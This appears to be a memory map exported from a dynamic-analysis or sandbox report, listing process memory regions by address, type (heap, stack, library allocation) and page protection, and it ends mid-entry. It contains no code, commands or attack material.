page read and write
7FFAAC710000
trusted library allocation
page read and write
7FFAAC780000
trusted library allocation
page read and write
1466000
trusted library allocation
page execute and read and write
2CD0000
trusted library allocation
page read and write
7FFB08175000
unkown
page readonly
292F0A71000
heap
page read and write
4624000
trusted library allocation
page read and write
F52000
heap
page read and write
D974837000
stack
page read and write
7FFAAC6E0000
trusted library allocation
page read and write
7FFAAC6D0000
trusted library allocation
page read and write
23732804000
heap
page read and write
237328F3000
heap
page read and write
2371B2A1000
trusted library allocation
page read and write
1645000
heap
page read and write
7FFAAC910000
trusted library allocation
page read and write
2AE9F46C000
heap
page read and write
237327D6000
heap
page read and write
EBDCAFE000
stack
page read and write
7FFAAC760000
trusted library allocation
page read and write
292813BF000
trusted library allocation
page read and write
68B0000
trusted library allocation
page execute and read and write
6607000
heap
page read and write
2AE88298000
trusted library allocation
page read and write
27A6FE40000
trusted library allocation
page read and write
5BA3000
trusted library allocation
page read and write
7FFAAC556000
trusted library allocation
page execute and read and write
1BE1F000
stack
page read and write
62E5000
trusted library allocation
page read and write
2DAF000
trusted library allocation
page read and write
1BADE000
stack
page read and write
A7F2079000
stack
page read and write
65B7000
heap
page read and write
7FFAAC5F2000
trusted library allocation
page read and write
2AE8758D000
trusted library allocation
page read and write
112E000
heap
page read and write
F70000
heap
page read and write
9AD81F9000
stack
page read and write
2372A34A000
trusted library allocation
page read and write
7FFAAC890000
trusted library allocation
page read and write
7FFAAC8D0000
trusted library allocation
page read and write
7FFAAC464000
trusted library allocation
page read and write
2371A369000
trusted library allocation
page read and write
12A0000
heap
page execute and read and write
7FFAAC650000
trusted library allocation
page read and write
7FFAAC546000
trusted library allocation
page read and write
45A6000
trusted library allocation
page read and write
27A6E4DE000
heap
page read and write
3924000
trusted library allocation
page read and write
7FFAAC47B000
trusted library allocation
page read and write
62D1000
trusted library allocation
page read and write
7FFAAC576000
trusted library allocation
page execute and read and write
7FFAAC840000
trusted library allocation
page read and write
3131000
trusted library allocation
page read and write
2AE973CC000
trusted library allocation
page read and write
453E000
trusted library allocation
page read and write
2372A161000
trusted library allocation
page read and write
2371B146000
trusted library allocation
page read and write
7FFAAC680000
trusted library allocation
page read and write
8307000
heap
page read and write
292F09D5000
heap
page read and write
7FFAAC7C0000
trusted library allocation
page read and write
2371AE4D000
trusted library allocation
page read and write
45C2000
trusted library allocation
page read and write
2FE0000
heap
page read and write
7DF421400000
trusted library allocation
page execute and read and write
38C6000
trusted library allocation
page read and write
7FFAAC8E0000
trusted library allocation
page read and write
2AE9F463000
heap
page read and write
7FFAAC7F0000
trusted library allocation
page read and write
6582000
heap
page read and write
29281004000
trusted library allocation
page read and write
237327CA000
heap
page read and write
7FFAAC850000
trusted library allocation
page read and write
4281000
trusted library allocation
page read and write
36B0000
trusted library allocation
page read and write
7FFAAC474000
trusted library allocation
page read and write
2AE85448000
heap
page read and write
2AE88928000
trusted library allocation
page read and write
2AE9F71E000
heap
page read and write
21684E30000
heap
page read and write
27A70873000
heap
page read and write
237327DE000
heap
page read and write
3788000
trusted library allocation
page read and write
6558000
heap
page read and write
7FFAAC700000
trusted library allocation
page read and write
7FFAAC770000
trusted library allocation
page read and write
D974939000
stack
page read and write
23718825000
heap
page read and write
2AE881E0000
trusted library allocation
page read and write
7FFB08151000
unkown
page execute read
23732913000
heap
page read and write
23732526000
heap
page execute and read and write
4636000
trusted library allocation
page read and write
7FFAAC48D000
trusted library allocation
page execute and read and write
368F000
trusted library allocation
page read and write
814E000
stack
page read and write
8025000
heap
page read and write
7DF4C21A0000
trusted library allocation
page execute and read and write
27A6FDC0000
trusted library allocation
page read and write
1443000
trusted library allocation
page execute and read and write
1870000
trusted library allocation
page read and write
2928194A000
trusted library allocation
page read and write
EC5000
heap
page read and write
D9746FD000
stack
page read and write
1B1EC000
stack
page read and write
1B92E000
stack
page read and write
292EE6C8000
heap
page read and write
3451000
trusted library allocation
page read and write
4444000
trusted library allocation
page read and write
2AE9F6C6000
heap
page read and write
7E2E000
stack
page read and write
29280FA3000
trusted library allocation
page read and write
7FFAAC4EC000
trusted library allocation
page execute and read and write
27A6FEF6000
heap
page execute and read and write
27A004CD000
trusted library allocation
page read and write
FE0000
heap
page read and write
7FFAAC8D0000
trusted library allocation
page read and write
452D000
trusted library allocation
page read and write
2371BF3C000
trusted library allocation
page read and write
113B000
heap
page read and write
1B62E000
stack
page read and write
EBDDB89000
stack
page read and write
27A706D8000
heap
page read and write
2D90000
heap
page execute and read and write
312C000
trusted library allocation
page read and write
292F0030000
trusted library allocation
page read and write
27A102EC000
trusted library allocation
page read and write
ED8000
heap
page read and write
7FFAAC800000
trusted library allocation
page read and write
7FFAAC470000
trusted library allocation
page read and write
237328A6000
heap
page read and write
EFE000
heap
page read and write
2AE8545E000
heap
page read and write
2CC0000
trusted library allocation
page read and write
29280BFC000
trusted library allocation
page read and write
29280FA1000
trusted library allocation
page read and write
7DF4C6AE0000
trusted library allocation
page execute and read and write
65F4000
heap
page read and write
375B000
trusted library allocation
page read and write
27A6E390000
heap
page read and write
29290010000
trusted library allocation
page read and write
7FFAAC4A0000
trusted library allocation
page read and write
12EE7000
trusted library allocation
page read and write
3419000
trusted library allocation
page read and write
27A0102F000
trusted library allocation
page read and write
137F000
stack
page read and write
F5F000
heap
page read and write
292F0060000
heap
page readonly
12C0000
trusted library allocation
page read and write
1640000
heap
page read and write
A7F22BE000
stack
page read and write
14F0000
heap
page read and write
D975689000
stack
page read and write
7FFAAC880000
trusted library allocation
page read and write
7FFAAC7CC000
trusted library allocation
page read and write
14F5000
heap
page read and write
7FFAAC5B0000
trusted library allocation
page execute and read and write
7FFAAC790000
trusted library allocation
page read and write
7FFAAC660000
trusted library allocation
page read and write
292902F9000
trusted library allocation
page read and write
7FFAAC6C0000
trusted library allocation
page read and write
2AE973AE000
trusted library allocation
page read and write
37B0000
trusted library allocation
page read and write
7FFAAC770000
trusted library allocation
page read and write
13080000
trusted library allocation
page read and write
12DF000
stack
page read and write
7FFAAC48D000
trusted library allocation
page execute and read and write
1235000
heap
page read and write
6820000
trusted library allocation
page read and write
1460000
trusted library allocation
page read and write
6640000
trusted library allocation
page read and write
2928177D000
trusted library allocation
page read and write
7FFAAC700000
trusted library allocation
page read and write
36D7000
trusted library allocation
page read and write
7FFAAC790000
trusted library allocation
page read and write
7FFAAC638000
trusted library allocation
page read and write
7FFAAC6B0000
trusted library allocation
page read and write
27A012A1000
trusted library allocation
page read and write
EBDDA0F000
stack
page read and write
EBDC8FE000
stack
page read and write
295E000
stack
page read and write
7FFAAC46B000
trusted library allocation
page read and write
35E6000
trusted library allocation
page read and write
1444000
trusted library allocation
page read and write
27A704D8000
heap
page read and write
27A70858000
heap
page read and write
7FFAAC720000
trusted library allocation
page read and write
29290001000
trusted library allocation
page read and write
2D60000
heap
page execute and read and write
2AE86CC0000
trusted library allocation
page read and write
7FFAAC883000
trusted library allocation
page read and write
DC6000
heap
page read and write
7FFAAC7B9000
trusted library allocation
page read and write
7FFAAC760000
trusted library allocation
page read and write
3809000
trusted library allocation
page read and write
7FFAAC6F0000
trusted library allocation
page read and write
7FFAAC45D000
trusted library allocation
page execute and read and write
465C000
trusted library allocation
page read and write
140E000
stack
page read and write
292F096A000
heap
page read and write
2AE88EC1000
trusted library allocation
page read and write
2AE8541F000
heap
page read and write
27A6E4EC000
heap
page read and write
7FFAAC8F0000
trusted library allocation
page read and write
2371ADA1000
trusted library allocation
page read and write
29280229000
trusted library allocation
page read and write
725E000
stack
page read and write
7FFAAC64A000
trusted library allocation
page read and write
7FFB08170000
unkown
page read and write
2AE8544A000
heap
page read and write
7FFAAC900000
trusted library allocation
page read and write
7FFAAC46D000
trusted library allocation
page execute and read and write
1656000
heap
page read and write
3748000
trusted library allocation
page read and write
7CA0000
trusted library allocation
page read and write
7FFAAC900000
trusted library allocation
page read and write
7FFAAC580000
trusted library allocation
page execute and read and write
2AE973BC000
trusted library allocation
page read and write
11C9000
heap
page read and write
E07000
heap
page read and write
12968000
trusted library allocation
page read and write
35FE000
trusted library allocation
page read and write
27A6E5B5000
heap
page read and write
7B50000
heap
page read and write
7FFAAC730000
trusted library allocation
page read and write
312F000
trusted library allocation
page read and write
2AE9F642000
heap
page read and write
7FFAAC530000
trusted library allocation
page read and write
BD1000
stack
page read and write
132C000
heap
page read and write
7FFAAC47D000
trusted library allocation
page execute and read and write
2372A171000
trusted library allocation
page read and write
2DAC000
trusted library allocation
page read and write
29281889000
trusted library allocation
page read and write
7D90000
trusted library allocation
page read and write
2F90000
heap
page read and write
3752000
trusted library allocation
page read and write
2DB1000
trusted library allocation
page read and write
1472000
trusted library allocation
page read and write
7FFAAC540000
trusted library allocation
page read and write
2AE86FC0000
heap
page execute and read and write
7FFAAC8A0000
trusted library allocation
page read and write
7FFAAC750000
trusted library allocation
page read and write
1B820000
heap
page read and write
27A70871000
heap
page read and write
B90000
heap
page read and write
7FFAAC4A4000
trusted library allocation
page read and write
7FFAAC720000
trusted library allocation
page read and write
EBDCEBE000
stack
page read and write
38CB000
trusted library allocation
page read and write
12961000
trusted library allocation
page read and write
2AE86F20000
heap
page read and write
1B92E000
stack
page read and write
7FFAAC810000
trusted library allocation
page read and write
27A6E4EA000
heap
page read and write
45E9000
trusted library allocation
page read and write
292F0AE1000
heap
page read and write
82EA000
heap
page read and write
7FFAAC641000
trusted library allocation
page read and write
2AE87000000
heap
page execute and read and write
27A70458000
heap
page read and write
7FFAAC484000
trusted library allocation
page read and write
4324000
trusted library allocation
page read and write
2371B266000
trusted library allocation
page read and write
27A70824000
heap
page read and write
45D9000
trusted library allocation
page read and write
951000
stack
page read and write
7FFAAC6A0000
trusted library allocation
page read and write
27A70704000
heap
page read and write
10F1000
stack
page read and write
1B550000
heap
page execute and read and write
D10000
trusted library allocation
page read and write
2AE880C6000
trusted library allocation
page read and write
7FFAAC690000
trusted library allocation
page read and write
FB0000
heap
page read and write
6370000
trusted library allocation
page read and write
2372A42E000
trusted library allocation
page read and write
82CC000
heap
page read and write
3170000
heap
page execute and read and write
2AE9F618000
heap
page read and write
2AE87FB7000
trusted library allocation
page read and write
D974BBB000
stack
page read and write
7FFAAC780000
trusted library allocation
page read and write
237186F0000
trusted library allocation
page read and write
7FFAAC6D0000
trusted library allocation
page read and write
23718770000
trusted library allocation
page read and write
27A01302000
trusted library allocation
page read and write
237328C8000
heap
page read and write
7FFAAC710000
trusted library allocation
page read and write
65C3000
heap
page read and write
292F0ACB000
heap
page read and write
7FFAAC8E0000
trusted library allocation
page read and write
29281303000
trusted library allocation
page read and write
6574000
heap
page read and write
10C0000
heap
page read and write
9AD8FCC000
stack
page read and write
13857000
trusted library allocation
page read and write
16B0000
heap
page read and write
710E000
stack
page read and write
2971000
trusted library allocation
page read and write
292F0050000
trusted library allocation
page read and write
7FFAAC6F0000
trusted library allocation
page read and write
7C65000
trusted library allocation
page read and write
83CF000
heap
page read and write
292F0A9E000
heap
page read and write
7FFAAC660000
trusted library allocation
page read and write
292EE6C5000
heap
page read and write
18DE000
heap
page read and write
2371B483000
trusted library allocation
page read and write
7CA2000
trusted library allocation
page read and write
2AE970E1000
trusted library allocation
page read and write
7FFAAC710000
trusted library allocation
page read and write
12DA8000
trusted library allocation
page read and write
23718730000
heap
page read and write
12C0000
heap
page read and write
292F09F7000
heap
page read and write
85EE000
stack
page read and write
42A1000
trusted library allocation
page read and write
5702000
trusted library allocation
page read and write
F74000
heap
page read and write
29280001000
trusted library allocation
page read and write
7FFAAC770000
trusted library allocation
page read and write
7FFAAC6A0000
trusted library allocation
page read and write
68E0000
heap
page read and write
7FFAAC4BC000
trusted library allocation
page execute and read and write
27A705C0000
heap
page read and write
2AE870C1000
trusted library allocation
page read and write
7FFAAC500000
trusted library allocation
page read and write
E77EB6E000
unkown
page read and write
715E000
stack
page read and write
5C2F000
trusted library allocation
page read and write
7FFAAC7C2000
trusted library allocation
page read and write
1120000
trusted library allocation
page read and write
37ED000
trusted library allocation
page read and write
7FFAAC672000
trusted library allocation
page read and write
A7F330E000
stack
page read and write
29281E21000
trusted library allocation
page read and write
593E000
stack
page read and write
7FFAAC7E9000
trusted library allocation
page read and write
7FFAAC86C000
trusted library allocation
page read and write
27A01E1D000
trusted library allocation
page read and write
7FFAAC8A6000
trusted library allocation
page read and write
7FFAAC470000
trusted library allocation
page read and write
8349000
heap
page read and write
27A706DC000
heap
page read and write
A7F328D000
stack
page read and write
29281DD7000
trusted library allocation
page read and write
2D71000
trusted library allocation
page read and write
E30000
heap
page read and write
1450000
trusted library allocation
page read and write
292F0070000
trusted library allocation
page read and write
58E5000
trusted library allocation
page read and write
1101000
heap
page read and write
11FD000
heap
page read and write
27A01003000
trusted library allocation
page read and write
45AD000
trusted library allocation
page read and write
166C000
heap
page read and write
292EE9E0000
heap
page read and write
2AE9F670000
heap
page read and write
6848000
trusted library allocation
page read and write
292EE620000
heap
page read and write
73CF1000
unkown
page execute read
237327CE000
heap
page read and write
4534000
trusted library allocation
page read and write
388E000
trusted library allocation
page read and write
2AE86FF0000
trusted library allocation
page read and write
EBDCBFD000
stack
page read and write
430B000
trusted library allocation
page read and write
3767000
trusted library allocation
page read and write
2BD0000
heap
page read and write
2372A465000
trusted library allocation
page read and write
7FFAAC880000
trusted library allocation
page read and write
7FFAAC7E4000
trusted library allocation
page read and write
130E2000
trusted library allocation
page read and write
7FFAAC48D000
trusted library allocation
page execute and read and write
2AE86CD0000
heap
page readonly
15B0000
heap
page execute and read and write
7FFAAC463000
trusted library allocation
page execute and read and write
7FFAAC8C0000
trusted library allocation
page read and write
130D8000
trusted library allocation
page read and write
27A6E4E8000
heap
page read and write
7FFAAC474000
trusted library allocation
page read and write
63E0000
trusted library allocation
page execute and read and write
21684EB8000
heap
page read and write
7CE0000
trusted library allocation
page execute and read and write
16B5000
heap
page read and write
2AE85489000
heap
page read and write
2CD3000
trusted library allocation
page read and write
E9C000
heap
page read and write
3120000
trusted library allocation
page read and write
EBDCCBF000
stack
page read and write
27A00079000
trusted library allocation
page read and write
7D8D000
trusted library allocation
page read and write
2371B450000
trusted library allocation
page read and write
7FFAAC7A9000
trusted library allocation
page read and write
1230000
heap
page read and write
10B0000
trusted library allocation
page read and write
5950000
heap
page read and write
7FFAAC85C000
trusted library allocation
page read and write
45F1000
trusted library allocation
page read and write
445A000
trusted library allocation
page read and write
33F7000
trusted library allocation
page read and write
2AE872E9000
trusted library allocation
page read and write
16EB000
heap
page read and write
4D32000
trusted library allocation
page read and write
27A6FE00000
heap
page readonly
27A0188A000
trusted library allocation
page read and write
7FFAAC8B0000
trusted library allocation
page read and write
1477000
trusted library allocation
page execute and read and write
1B59D000
stack
page read and write
9AD827F000
stack
page read and write
1B75E000
stack
page read and write
73D06000
unkown
page readonly
E70000
heap
page read and write
292902EA000
trusted library allocation
page read and write
7FFAAC6A0000
trusted library allocation
page read and write
2AE853F0000
trusted library section
page read and write
292EE688000
heap
page read and write
F17000
heap
page read and write
11D0000
heap
page read and write
7FFAAC4AB000
trusted library allocation
page read and write
460A000
trusted library allocation
page read and write
D40000
heap
page read and write
7FFAAC7E9000
trusted library allocation
page read and write
F70000
heap
page read and write
237185FB000
heap
page read and write
7FFAAC7FA000
trusted library allocation
page read and write
16FD000
heap
page read and write
292F0800000
heap
page read and write
27A013BE000
trusted library allocation
page read and write
292EE682000
heap
page read and write
1600000
trusted library allocation
page execute and read and write
27A70AB0000
heap
page read and write
292F0600000
heap
page read and write
7FFAAC494000
trusted library allocation
page read and write
23718700000
heap
page readonly
ECA000
heap
page read and write
7C62000
trusted library allocation
page read and write
27A70520000
heap
page read and write
13121000
trusted library allocation
page read and write
29280DB7000
trusted library allocation
page read and write
11C0000
trusted library section
page read and write
7FFAAC8F0000
trusted library allocation
page read and write
7FFAAC4CC000
trusted library allocation
page execute and read and write
7DF437DA0000
trusted library allocation
page execute and read and write
27A01864000
trusted library allocation
page read and write
EBDCE3A000
stack
page read and write
292F07F6000
heap
page execute and read and write
292F0973000
heap
page read and write
7FFAAC8C0000
trusted library allocation
page execute and read and write
292F064F000
heap
page read and write
5CEB000
trusted library allocation
page read and write
7FFAAC54C000
trusted library allocation
page execute and read and write
2371A1C6000
trusted library allocation
page read and write
7FFAAC6D0000
trusted library allocation
page read and write
5CE0000
trusted library allocation
page read and write
7FFAAC7A0000
trusted library allocation
page read and write
1480000
heap
page read and write
2AE87007000
heap
page execute and read and write
7FFAAC650000
trusted library allocation
page execute and read and write
27A102FA000
trusted library allocation
page read and write
23732869000
heap
page read and write
292F06A9000
heap
page read and write
13A5000
heap
page read and write
D90000
heap
page read and write
6585000
heap
page read and write
237327DA000
heap
page read and write
2371B9A2000
trusted library allocation
page read and write
EBDCFBE000
stack
page read and write
4543000
trusted library allocation
page read and write
7FFAAC484000
trusted library allocation
page read and write
130EC000
trusted library allocation
page read and write
D60000
heap
page read and write
2F5E000
stack
page read and write
9AD79EE000
stack
page read and write
3711000
trusted library allocation
page read and write
7DEE000
stack
page read and write
11C0000
heap
page read and write
7FFAAC480000
trusted library allocation
page read and write
7FFAAC71D000
trusted library allocation
page read and write
7FFAAC576000
trusted library allocation
page execute and read and write
7FFAAC7C0000
trusted library allocation
page read and write
8353000
heap
page read and write
2371B3ED000
trusted library allocation
page read and write
314D000
trusted library allocation
page read and write
2AE9F608000
heap
page read and write
7FFAAC770000
trusted library allocation
page read and write
A7F3189000
stack
page read and write
292EE648000
heap
page read and write
82B4000
heap
page read and write
2AE87B13000
trusted library allocation
page read and write
7B40000
heap
page read and write
A7F1F7E000
stack
page read and write
171C000
heap
page read and write
7FFAAC6C0000
trusted library allocation
page read and write
237185F0000
heap
page read and write
2371863D000
heap
page read and write
2AE85440000
heap
page read and write
188E000
trusted library allocation
page read and write
23718614000
heap
page read and write
29290031000
trusted library allocation
page read and write
1440000
trusted library allocation
page read and write
1B65E000
stack
page read and write
292F0AD7000
heap
page read and write
7FFAAC8AD000
trusted library allocation
page read and write
7FFAAC672000
trusted library allocation
page read and write
7FFAAC890000
trusted library allocation
page read and write
23732530000
heap
page read and write
7FFAAC750000
trusted library allocation
page read and write
1B9DE000
stack
page read and write
7FFAAC7A0000
trusted library allocation
page read and write
7FFAAC89E000
trusted library allocation
page read and write
1B32C000
stack
page read and write
36A9000
trusted library allocation
page read and write
292F01A0000
heap
page execute and read and write
EBDDC8E000
stack
page read and write
237185B0000
heap
page read and write
1B82E000
stack
page read and write
7FFAAC670000
trusted library allocation
page read and write
7FFAAC490000
trusted library allocation
page read and write
27A70789000
heap
page read and write
7FFAAC790000
trusted library allocation
page read and write
7FFAAC720000
trusted library allocation
page read and write
7FFAAC570000
trusted library allocation
page execute and read and write
7FFAAC64A000
trusted library allocation
page read and write
7FFAAC6E0000
trusted library allocation
page read and write
DDA000
heap
page read and write
7FFAAC7D0000
trusted library allocation
page read and write
2AE85350000
heap
page read and write
29290021000
trusted library allocation
page read and write
34D6000
trusted library allocation
page read and write
9AD8DCE000
stack
page read and write
2371A141000
trusted library allocation
page read and write
292EEA05000
heap
page read and write
82C7000
heap
page read and write
2372A438000
trusted library allocation
page read and write
27A10001000
trusted library allocation
page read and write
7C8F000
trusted library allocation
page read and write
2AE9F524000
heap
page read and write
2371BF61000
trusted library allocation
page read and write
9AD80F7000
stack
page read and write
292810BB000
trusted library allocation
page read and write
D9748B7000
stack
page read and write
29281DFC000
trusted library allocation
page read and write
7FFAAC674000
trusted library allocation
page read and write
5BA8000
trusted library allocation
page read and write
292EE600000
heap
page read and write
E57000
unkown
page readonly
7FFAAC46D000
trusted library allocation
page execute and read and write
EFC000
heap
page read and write
35F5000
trusted library allocation
page read and write
5725000
trusted library allocation
page read and write
4642000
trusted library allocation
page read and write
313E000
trusted library allocation
page read and write
27A6E5C0000
heap
page read and write
23732650000
heap
page read and write
292F0090000
heap
page read and write
1090000
heap
page read and write
12F0000
heap
page read and write
FB5000
heap
page read and write
7FFAAC690000
trusted library allocation
page read and write
EBDDB0E000
stack
page read and write
B41000
stack
page read and write
45EC000
trusted library allocation
page read and write
11FA000
heap
page read and write
1BA2F000
stack
page read and write
2AE9F614000
heap
page read and write
2AE853D0000
heap
page read and write
5BE8000
trusted library allocation
page read and write
7FFAAC7A0000
trusted library allocation
page read and write
7FFAAC7C0000
trusted library allocation
page read and write
29280C06000
trusted library allocation
page read and write
7FFAAC880000
trusted library allocation
page execute and read and write
1103000
heap
page read and write
7FFAAC730000
trusted library allocation
page read and write
7FFAAC783000
trusted library allocation
page read and write
7FFAAC740000
trusted library allocation
page read and write
2AE85370000
heap
page read and write
27A018ED000
trusted library allocation
page read and write
3088000
trusted library allocation
page read and write
27A6E52A000
heap
page read and write
7FFAAC473000
trusted library allocation
page execute and read and write
292EE69C000
heap
page read and write
9AD8F49000
stack
page read and write
2AE87148000
trusted library allocation
page read and write
834D000
heap
page read and write
27A70702000
heap
page read and write
2AE85408000
heap
page read and write
66C0000
trusted library allocation
page execute and read and write
2AE86D50000
trusted library allocation
page read and write
1AEF0000
trusted library allocation
page read and write
85AE000
stack
page read and write
2AE9F610000
heap
page read and write
1485000
heap
page read and write
82D0000
heap
page read and write
27A01DD8000
trusted library allocation
page read and write
27A7079E000
heap
page read and write
2AE9F532000
heap
page read and write
130B4000
trusted library allocation
page read and write
9AD904E000
stack
page read and write
2372A141000
trusted library allocation
page read and write
4463000
trusted library allocation
page read and write
82B9000
heap
page read and write
2AE97135000
trusted library allocation
page read and write
FCE000
stack
page read and write
292F06EE000
heap
page read and write
8321000
heap
page read and write
7FFAAC546000
trusted library allocation
page read and write
3124000
trusted library allocation
page read and write
7FFAAC50C000
trusted library allocation
page execute and read and write
F31000
stack
page read and write
27A10010000
trusted library allocation
page read and write
3461000
trusted library allocation
page read and write
7FFAAC61A000
trusted library allocation
page read and write
2AE88065000
trusted library allocation
page read and write
5750000
heap
page execute and read and write
29280D7C000
trusted library allocation
page read and write
27A6E4E2000
heap
page read and write
2371B509000
trusted library allocation
page read and write
2AE9F732000
heap
page read and write
68D0000
trusted library allocation
page read and write
4483000
trusted library allocation
page read and write
23732784000
heap
page read and write
327E000
stack
page read and write
292EE5F0000
heap
page read and write
38BA000
trusted library allocation
page read and write
2AE970F1000
trusted library allocation
page read and write
1227000
heap
page read and write
4342000
trusted library allocation
page read and write
658F000
heap
page read and write
237325D7000
heap
page read and write
DBF000
heap
page read and write
1B72E000
stack
page read and write
29280A52000
trusted library allocation
page read and write
9A0000
heap
page read and write
2850000
heap
page read and write
82C1000
heap
page read and write
27A7071E000
heap
page read and write
7FFB08170000
unkown
page read and write
7FFAAC8A0000
trusted library allocation
page read and write
7FFAAC49D000
trusted library allocation
page execute and read and write
23732796000
heap
page read and write
1316000
heap
page read and write
1240000
heap
page read and write
27A70464000
heap
page read and write
27A6E525000
heap
page read and write
2371B963000
trusted library allocation
page read and write
4547000
trusted library allocation
page read and write
27A00C06000
trusted library allocation
page read and write
D97560D000
stack
page read and write
681D000
stack
page read and write
1B57D000
stack
page read and write
463D000
trusted library allocation
page read and write
1470000
trusted library allocation
page read and write
F15000
heap
page read and write
7FFAAC473000
trusted library allocation
page execute and read and write
2FF1000
trusted library allocation
page read and write
7FFAAC493000
trusted library allocation
page execute and read and write
2372A381000
trusted library allocation
page read and write
29290071000
trusted library allocation
page read and write
7FFAAC480000
trusted library allocation
page read and write
135A8000
trusted library allocation
page read and write
292F0A14000
heap
page read and write
E25000
heap
page read and write
12E0000
trusted library allocation
page read and write
1895000
trusted library allocation
page read and write
3316000
trusted library allocation
page read and write
7FFAAC7B0000
trusted library allocation
page read and write
3426000
trusted library allocation
page read and write
2373287C000
heap
page read and write
7FFAAC4A0000
trusted library allocation
page read and write
23718820000
heap
page read and write
2AE86CA0000
trusted library allocation
page read and write
7FFAAC460000
trusted library allocation
page read and write
1387F000
trusted library allocation
page read and write
1100000
trusted library allocation
page read and write
158F000
stack
page read and write
27A70842000
heap
page read and write
D9747BE000
stack
page read and write
3152000
trusted library allocation
page read and write
162E000
heap
page read and write
7DA0000
trusted library allocation
page execute and read and write
7FFAAC556000
trusted library allocation
page execute and read and write
7FFAAC490000
trusted library allocation
page read and write
3141000
trusted library allocation
page read and write
7FFAAC620000
trusted library allocation
page execute and read and write
37CF000
trusted library allocation
page read and write
1B9BF000
stack
page read and write
21684EB0000
heap
page read and write
1B32F000
stack
page read and write
603C000
trusted library allocation
page read and write
7FFAAC7F8000
trusted library allocation
page read and write
F62000
heap
page read and write
DB0000
heap
page read and write
21684D30000
heap
page read and write
5BB0000
trusted library allocation
page read and write
5C17000
trusted library allocation
page read and write
EB0000
heap
page read and write
8333000
heap
page read and write
27A0177E000
trusted library allocation
page read and write
7C69000
trusted library allocation
page read and write
7FFAAC4AC000
trusted library allocation
page execute and read and write
292F0A81000
heap
page read and write
36C2000
trusted library allocation
page read and write
1250000
heap
page read and write
7FFAAC484000
trusted library allocation
page read and write
2AE85485000
heap
page read and write
82F2000
heap
page read and write
7FFAAC700000
trusted library allocation
page read and write
9AD8E4D000
stack
page read and write
BA0000
heap
page read and write
27A0194C000
trusted library allocation
page read and write
D974163000
stack
page read and write
2AE8544E000
heap
page read and write
2AE9F754000
heap
page read and write
7FFAAC880000
trusted library allocation
page read and write
1170000
heap
page read and write
56F0000
heap
page read and write
62EE000
trusted library allocation
page read and write
2AE9F604000
heap
page read and write
12DA1000
trusted library allocation
page read and write
27A6E4C4000
heap
page read and write
2AE85400000
heap
page read and write
7FFAAC7B0000
trusted library allocation
page read and write
2371A130000
heap
page read and write
2AE88396000
trusted library allocation
page read and write
F0A000
stack
page read and write
23718530000
heap
page read and write
A7F1E72000
stack
page read and write
2FFF000
trusted library allocation
page read and write
9AD7FFE000
stack
page read and write
7FFAAC454000
trusted library allocation
page read and write
A7F1EFE000
stack
page read and write
2AE88E9C000
trusted library allocation
page read and write
2AE8817E000
trusted library allocation
page read and write
D9749BE000
stack
page read and write
5E7E000
trusted library allocation
page read and write
11B0000
heap
page execute and read and write
45FE000
trusted library allocation
page read and write
38C1000
trusted library allocation
page read and write
457A000
trusted library allocation
page read and write
6350000
trusted library allocation
page read and write
2371AD47000
trusted library allocation
page read and write
7FFAAC536000
trusted library allocation
page execute and read and write
EBDC873000
stack
page read and write
23732520000
heap
page execute and read and write
7FFB08150000
unkown
page readonly
DA0000
heap
page read and write
27A706C8000
heap
page read and write
7FFAAC7B4000
trusted library allocation
page read and write
27A01CFD000
trusted library allocation
page read and write
292F06A1000
heap
page read and write
7FFAAC7C8000
trusted library allocation
page read and write
7FFAAC520000
trusted library allocation
page execute and read and write
7FFAAC8B0000
trusted library allocation
page read and write
35F8000
trusted library allocation
page read and write
62F0000
trusted library allocation
page read and write
F64000
heap
page read and write
237185F5000
heap
page read and write
2AE9F76D000
heap
page read and write
27A6FDD0000
heap
page read and write
D9741EE000
stack
page read and write
18D6000
heap
page read and write
11F1000
heap
page read and write
7FFAAC750000
trusted library allocation
page read and write
7FFAAC5B0000
trusted library allocation
page execute and read and write
1150000
heap
page execute and read and write
27A706D0000
heap
page read and write
7FFAAC7E0000
trusted library allocation
page read and write
163F000
heap
page read and write
23732750000
trusted library allocation
page read and write
292902EF000
trusted library allocation
page read and write
45D3000
trusted library allocation
page read and write
10C0000
heap
page read and write
1280000
heap
page read and write
7FFAAC493000
trusted library allocation
page execute and read and write
27A7084D000
heap
page read and write
7FFAAC7B2000
trusted library allocation
page read and write
7FFAAC4A0000
trusted library allocation
page read and write
115F000
stack
page read and write
1610000
trusted library allocation
page read and write
7FFAAC590000
trusted library allocation
page execute and read and write
27A6FFA0000
trusted library allocation
page read and write
7FFAAC7BC000
trusted library allocation
page read and write
2AE87FB5000
trusted library allocation
page read and write
2AE8544C000
heap
page read and write
132F000
heap
page read and write
27A00BF8000
trusted library allocation
page read and write
7FFAAC49D000
trusted library allocation
page execute and read and write
2AE85444000
heap
page read and write
2AE86D90000
heap
page read and write
7FFAAC610000
trusted library allocation
page execute and read and write
A7F253E000
stack
page read and write
A7F2177000
stack
page read and write
1AEEE000
stack
page read and write
45F7000
trusted library allocation
page read and write
7FFAAC7F0000
trusted library allocation
page read and write
27A705E0000
heap
page read and write
7FFAAC860000
trusted library allocation
page read and write
1B380000
heap
page read and write
EBDC9FE000
stack
page read and write
1712000
heap
page read and write
2AE853B0000
heap
page read and write
2961000
trusted library allocation
page read and write
34B3000
trusted library allocation
page read and write
7FFAAC612000
trusted library allocation
page read and write
7FFAAC452000
trusted library allocation
page read and write
27A6E470000
heap
page read and write
1050000
heap
page read and write
7FFAAC648000
trusted library allocation
page read and write
CD0000
heap
page read and write
7FFAAC800000
trusted library allocation
page read and write
E50000
heap
page read and write
13317000
trusted library allocation
page read and write
D97578E000
stack
page read and write
82AD000
stack
page read and write
7FF4E78F0000
trusted library allocation
page execute and read and write
7FFAAC7E0000
trusted library allocation
page read and write
23718550000
heap
page read and write
29281862000
trusted library allocation
page read and write
7FFAAC7A4000
trusted library allocation
page read and write
7FFAAC6E0000
trusted library allocation
page read and write
7FFAAC49D000
trusted library allocation
page execute and read and write
7EF50000
trusted library allocation
page execute and read and write
2AE882D1000
trusted library allocation
page read and write
7FFAAC6B0000
trusted library allocation
page read and write
7FFAAC4BC000
trusted library allocation
page execute and read and write
2371A100000
heap
page execute and read and write
9AD7DFE000
stack
page read and write
147B000
trusted library allocation
page execute and read and write
EBB000
heap
page read and write
7FFAAC490000
trusted library allocation
page read and write
7FFAAC8A0000
trusted library allocation
page read and write
27A7076F000
heap
page read and write
7FFAAC5A0000
trusted library allocation
page execute and read and write
27A10021000
trusted library allocation
page read and write
13067000
trusted library allocation
page read and write
2AE85270000
heap
page read and write
3160000
trusted library allocation
page read and write
7FFAAC730000
trusted library allocation
page read and write
27A707CF000
heap
page read and write
459B000
